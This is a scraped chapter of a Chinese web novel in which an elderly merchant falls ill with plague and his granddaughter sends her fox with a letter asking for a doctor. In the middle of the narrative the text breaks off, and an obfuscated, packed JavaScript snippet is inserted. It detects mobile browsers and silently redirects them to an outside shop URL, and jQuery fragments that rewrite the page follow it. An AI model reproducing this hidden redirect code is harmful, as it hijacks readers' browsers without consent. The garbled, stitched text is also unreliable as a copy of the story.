24. 病倒

作品:《无限玩家在古代当大小姐

    摆好糕点,他摆摆手示意素月上前给外婆行礼。等到素月规规矩矩的磕过头,他又挥挥手让素月自己去玩。


    “你带着永安去旁边转转吧,我想跟你外婆说会儿话。”


    钱老爷斜靠着墓碑缓缓坐下,见素月走远了,他才轻轻抚摸着亡妻的墓碑,将这几年的经历对着她娓娓道来。


    “这几年,我都不敢来见你……紫菀走了,孩子也丢了,我……唉!”


    钱老爷擦了擦眼角的泪花,深吸了几口气才稍稍平缓了情绪。


    “好在咱们小月儿争气,被送的那么远也能自己找回来,这几年日子也是越来越好啦。”


    “青颖给咱们添了素钰这个大外孙,墨竹前几年也考上了探花呢!你也别怪墨竹不回来看你,他叫三公主招为驸马,行动不如以往方便啦。”


    钱老爷絮絮叨叨的将几年间积攒的心里话一股脑倾诉给亡妻听,说了很久很久,他才停下话头,沉默半响,又摸着亡妻的墓碑喃喃道:“若是你还在,该有多好啊!”


    他锤了锤坐麻了的腿,扶着墓碑缓缓站起身来。


    坐在远处凉亭里的素月一直都暗暗关注着外婆墓前的情况。


    远远的见外公站起来了,她连忙也向他这边快步走来。


    “您还好吗?”素月扶着外公的手臂轻声问道。


    “只是坐久了腿麻罢了,走动走动就好了。”


    素月扶着钱老爷慢慢从后山下去回到了钱府院内。


    吃过午饭,钱老爷将手头的事有条不紊的安排下去,又为这段时间多有辛苦的李掌柜等人发了一大笔赏金,叮嘱他们灾区瘟疫期间少出门,注意安全等等。


    一一交代到位,天色已经黑透,他和素月的行李也已经被仆人们收拾妥当。


    爷孙俩今晚早早的睡下了,毕竟明天一早便要启程赶回临安城。


    然而命运弄人,谁也不知道明天和意外哪个会先来。


    “老爷?老爷!”


    钱二一大清早不见钱老爷起床,便去敲门询问,谁知敲了半天也没听见回音。他心中觉得不妙,果断撞门。


    钱二身强力壮,只一下便撞得门栓断裂,两扇门轰的一声大敞开来。


    他大步踏进屋里直奔钱老爷的床前,却见钱老爷满脸通红,额上冷汗津津。


    他见此情景,顿时心中一惊,连忙退出几步看向外间守夜的贴身男仆休息的矮塌,果然见那男仆也脸色潮红的窝在被子里,似乎已经失去了意识。


    素月听见动静赶到外公院里的时候钱二已经退出了屋子,正急声叫跑腿的伙计速速去请大夫来。


    “小小姐?小小姐,今日回临安城的行程恐怕只能改期了,老爷发了高热,需要赶紧请大夫来诊治。如今情况不明,您最好呆在自己的院子里,以免过了病气!”


    钱二正交代着下人赶紧去烧艾草铺石灰来防止疫病传染,余光瞟见素月到了院门口,立刻便高声制止了她。


    他是钱家的家生子,从小便跟在钱老爷身边做事的,一向很得老爷子看重。此时情况紧急,他也顾不得许多,只想着赶紧控制好老爷的病情,同时还得保护好小小姐的安全。


    素月的精神感知已经探知到院内发生了什么,闻言也不坚持要去看外公,而是从善如流的回了自己的院子。


    疫病这种事,她帮不上什么忙,一味坚持着进去掺合一脚也没有什么用处,不如乖乖听凭安排,多少也能安一安大家的心。


    “小姐,钱老爷他是不是……”


    永安曾是被钱家从人牙子手中救助的,心中一直很感激钱老爷和钱二小姐的义举,此刻见钱老爷疑似感染瘟疫,心中很是忧虑。


    素月抬头看了一眼面色担忧的永安,宽慰道:“别急,等钱二请大夫来看过再说。”


    主仆二人静下心来在屋子里等了半个时辰,听见院外传来一阵呼唤声。


    “小小姐!小小姐!请您到这边来,大夫已经来为老爷诊治过了,小的这就说给您听。


    钱二站在院外隔着门缝看见素月出了屋子就要过来开门,立刻急声制止道:“不可!大夫说老爷的症状是感染云庆县瘟疫的可能性很高,小的刚刚才接触过老爷,莫要过了病气给小小姐!”


    素月听他这么说,也不反驳,从善如流的站在远处问道:“大夫还说了什么?我外公的病情可严重?”


    “大夫说老爷可能是原本就感染了瘟疫,昨日又吹风受寒,一下子便邪气入体,才会病倒的这样突然。目前云庆县的疫病还没有确切的治疗手段,如今之计只能暂时以药物控制病情,暂待大夫们研制药方。”


    “小小姐,为了避免病情蔓延,从今日起钱府开始分区隔离,委屈小小姐在这院子里呆上几天,可好?”


    钱二透过门缝给素月行了个礼,神色间满是没有照顾好她和钱老爷的愧疚。


    “理当如此!你尽管去做!”


    素月觉得她昨日没有拦着外公去后山上吹着冷风祭拜外婆真是失职,此时见钱二的做法很是果断恰当,当即便表示了支持,又略微宽慰了他几句,才带着永安回了屋子。


    钱二说的很对,为了防止疫病传染第一时间隔离的确是行之有效的手段,但外公年纪大了,身体也不算太好。


    疫病已经发生了两三天,云庆县的大夫们却仍然没有有效的治疗手段,素月很是担心外公的身体能否支撑的住长时间的等待。


    坐以待毙不是素月的性格,她沉思片刻,便叫永安拿来笔墨写下一封信装进荷包里,又把荷包拴在了小狐狸的脖子上。


    “小白,你悄悄把这封信送给前几天晚上来过的那个男人。我见你那时候醒着,你应该记得他吧?”


    小狐狸端坐在床上,点了点自己的尖嘴巴,灵巧的窜出屋子不见了身影。


    小狐狸已经在她身边养了好几年了,脑子非常聪明,素月以前就经常让它帮忙给外公小姨等人送信,这会儿也是非常信任的将重任交给了它。


    “小姐,前几天晚上有客人来您怎么不叫醒我伺候着?”永安给素月沏了杯热茶,试探的问道。


    她觉得自己很失职,小姐的房间里进了人,她却一无所知。


    “大半夜的,吵醒你睡觉做什么?他只是说了几句无聊的闲话罢了,没什么要紧事儿。”


    素月知道她心中的顾虑,拿起桌上的茶壶倒了杯茶塞进她手里说道:“今天早上你也受惊了,喝点热茶压压惊。我好歹身手不错,若真碰上歹人多少也能过上几招,你不必担心。”


    小狐狸一路挑着犄角旮旯的小路在云庆县城里大致转了一圈。这些日子它被抱在素月怀里跟在钱老爷身后也算是逛遍了整个云庆县,路线熟悉的很。


    云庆县的县城并不算大,小狐狸没花多少时间便逛了个大概,在某一处嗅到那个男人的气味后,它便一路追踪过去。


    “嗯?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070392|195194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>影七藏匿在树上,警觉的看了看四周。


    怎么觉得,好像有什么东西在看着他!


    小狐狸从墙角狗洞里钻进来的第一时间就精准的锁定了藏匿在树上的那个男人的位置。


    他的隐匿点选得太好,视野相当开阔,小狐狸没办法偷偷跑过去。


    小狐狸又看了看屋子的门,关的严严实实的。屋子里的男人坐在窗边案台旁写写画画,离它不过十几米远而已。


    它晃了晃自己的大尾巴,用自己有限的智商思考了很久,终于站在门口,张大嘴巴汪汪的叫了出来。


    “汪嗷!汪嗷!”


    狐狸尖细的叫声装起狗来不仅一点也不像,反而阴阳怪气的,惊的树上的影七和案台边的夏玄锋都惊愕的朝它看了过来。


    夏玄锋抬头眯着眼睛看着站在墙边装狗的白色狐狸,一时有些摸不着头脑。


    他好像没招惹过什么狐狸,应该不会遇见狐狸报恩或者报仇的奇事儿吧?


    书上的影七身手快如闪电,瞬间跳下来便拎住了小狐狸脖子。


    小狐狸其实发现了影七跳下来的动作,但它一只狐狸,怎么快得过影七这种武功了得的内家高手。


    还不等它退后重新钻进狗洞逃跑,就已经被捏住了命运的后颈脖。


    “主子,您瞧瞧?”


    伴着小狐狸听起来凄厉无比的干嚎,影七淡定的提着它走到窗前,将它凑到夏玄锋眼前。


    夏玄锋看着这浑身泥点子的白狐狸,被它的惨叫震得脑仁疼。抬手揉了揉太阳穴,仔细思索了一番他和狐狸可能会有的交集,却忽然想起前几天夜里去找素月的时候,依稀似乎看见她床上有一团白色的东西。


    当时他以为是猫或者狗,难道……是狐狸?


    小狐狸见树上下来的可怕男人没有伤害它,反而将它送到了目标人物的跟前,顿时也不害怕了,不仅收了那装模作样的惨叫,反而前腿踢蹬的努力把胸前的荷包露给夏玄锋看。


    快看人类!这是我主人叫我送给你的!


    可惜毛太长了,小小的荷包完全被淹没在了长长的绒毛里。


    夏玄锋见这狐狸一靠近他就显得很是激动,灵动的眼神也似乎是想要想他传达什么。


    他收了桌上的纸笔,示意影七将狐狸放在他面前的案台上。


    小狐狸一落地果然也不挣扎乱跑,反而端端正正的坐到案台上,挺着小胸脯骄傲的看着夏玄锋。


    它坐了一小会儿,见夏玄锋没有反应,便又将脑袋抬高了几分,可是夏玄锋却仍然站在一边毫无动作。


    怎么回事啊人类!本狐都暗示的这样明显了,你怎么还不动?


    夏玄锋静静的看着那坐的颇有仪态的狐狸,半点都没有领会到它的意思。


    他以为这狐狸就是在展示自己的身姿。


    直到小狐狸开始着急的抬起一只前爪扒拉胸前的白毛,夏玄锋才惊觉它身上原来还带了东西。


    在小狐狸脖子上的长毛里一阵摸索后,夏玄锋总算拿到了素月的荷包。


    “能不能请来医术了得的大夫?”


    夏玄锋扫过素月言简意赅的信,提笔为她写下一封回信。


    “云庆县疫病蔓延,我已请神医前来,大概还需一两天便可到达,届时可让他先去钱府为你外公诊治。”


    将纸条塞进荷包里,夏玄锋狠狠摸了摸小狐狸蓬松的白毛,让影七放它离开了院子。